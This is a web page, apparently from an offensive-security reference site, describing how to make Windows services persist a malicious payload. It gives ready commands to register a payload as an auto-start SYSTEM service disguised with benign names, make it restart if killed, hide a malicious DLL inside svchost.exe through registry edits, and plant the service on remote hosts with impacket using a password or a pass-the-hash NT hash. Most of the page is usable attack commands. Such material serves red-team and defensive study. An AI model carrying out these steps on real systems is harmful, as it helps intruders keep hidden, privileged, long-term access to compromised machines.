# Windows Service Persistence

> Establish persistent footholds by creating or hijacking Windows services, ensuring malicious payloads survive reboots and maintain long-term system access.

- **URL:** https://hackindex.io/platforms/windows/persistence/windows-service-persistence
- **Path:** Windows > Persistence
- **Up:** [Persistence](https://hackindex.io/platforms/windows/persistence.md)
- **Published:** 2026-04-04
- **Updated:** 2026-07-14

Creating a new Windows service as a persistence mechanism gives you code execution that starts automatically with the system. Compared to other persistence methods:

- Runs as SYSTEM by default, before any user logs in
- Restarts on failure if configured with recovery options
- Harder to associate with a specific user account than scheduled tasks
- Can be created remotely via sc.exe for persistence across multiple hosts

Requires local Administrator or SYSTEM to create.

## Creating a new service

Requires local Administrator or SYSTEM. The binary pointed to by the service runs as SYSTEM unless a different account is specified.

**Create a new service with sc.exe**

```powershell
# Create service pointing to payload
sc create WindowsHelper binPath= "C:\Windows\Temp\payload.exe" start= auto

# Set display name and description to blend in
sc config WindowsHelper DisplayName= "Windows Helper Service"
sc description WindowsHelper "Provides support for Windows management tasks."

# Start the service immediately
sc start WindowsHelper

# Verify
sc qc WindowsHelper
sc query WindowsHelper
# SERVICE_NAME: WindowsHelper
#         TYPE               : 10  WIN32_OWN_PROCESS
#         START_TYPE         : 2   AUTO_START
#         ERROR_CONTROL      : 1   NORMAL
#         BINARY_PATH_NAME   : C:\Windows\Temp\payload.exe
#         LOAD_ORDER_GROUP   :
#         TAG                : 0
#         DISPLAY_NAME       : Windows Helper Service
#         DEPENDENCIES       :
#         SERVICE_START_NAME : LocalSystem
```

**Create service via PowerShell**

```powershell
# New-Service cmdlet
New-Service -Name 'WindowsHelper' -BinaryPathName 'C:\Windows\Temp\payload.exe' -DisplayName 'Windows Helper Service' -StartupType Automatic

# Start immediately
Start-Service -Name 'WindowsHelper'

# Configure failure recovery: restart on crash
sc failure WindowsHelper reset= 86400 actions= restart/5000/restart/5000/restart/5000
```

The failure recovery configuration makes the service restart automatically if the payload crashes or is killed. The format is `actions= restart/delayms`: three restart actions with a 5-second delay each. This makes the persistence significantly more resilient.

## Service DLL persistence

Instead of pointing a service at an EXE, you can register a DLL as the service binary via `ServiceDll`. The DLL is loaded by `svchost.exe`, which means your malicious code runs inside a legitimate Windows process.

**Service DLL via registry**

```powershell
# Create service entry
sc create WindowsHelper binPath= "%SystemRoot%\System32\svchost.exe -k netsvcs" start= auto type= share

# Set the DLL path in the Parameters key
reg add HKLM\SYSTEM\CurrentControlSet\Services\WindowsHelper\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\Temp\payload.dll" /f

# Add to svchost group (required for svchost-based services)
reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost /v netsvcs /t REG_MULTI_SZ /d "WindowsHelper" /f

# Start service
sc start WindowsHelper
```

Service DLL payloads must export a `ServiceMain` function and implement basic service control handler logic. A raw DLL without these exports will fail to load. Use a purpose-built service DLL payload from your framework rather than a generic DLL.

## Remote service creation

**Create service on remote host**

```bash
# impacket-services: create, start, stop, delete services remotely
impacket-services $DOMAIN/$USER:$PASSWORD@$TARGET_IP create -name WindowsHelper -display 'Windows Helper Service' -path 'C:\Windows\Temp\payload.exe'
impacket-services $DOMAIN/$USER:$PASSWORD@$TARGET_IP start -name WindowsHelper

# With hash
impacket-services $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH create -name WindowsHelper -display 'Windows Helper Service' -path 'C:\Windows\Temp\payload.exe'
```

## Cleaning up

**Remove service**

```powershell
sc stop WindowsHelper
sc delete WindowsHelper

# Remove DLL registry key if used
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WindowsHelper /f
```

## References

- [sc create: Microsoft Docs](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-create) - Full parameter reference for sc.exe service creation
- [Impacket services: GitHub](https://github.com/fortra/impacket) - Remote service management via impacket-services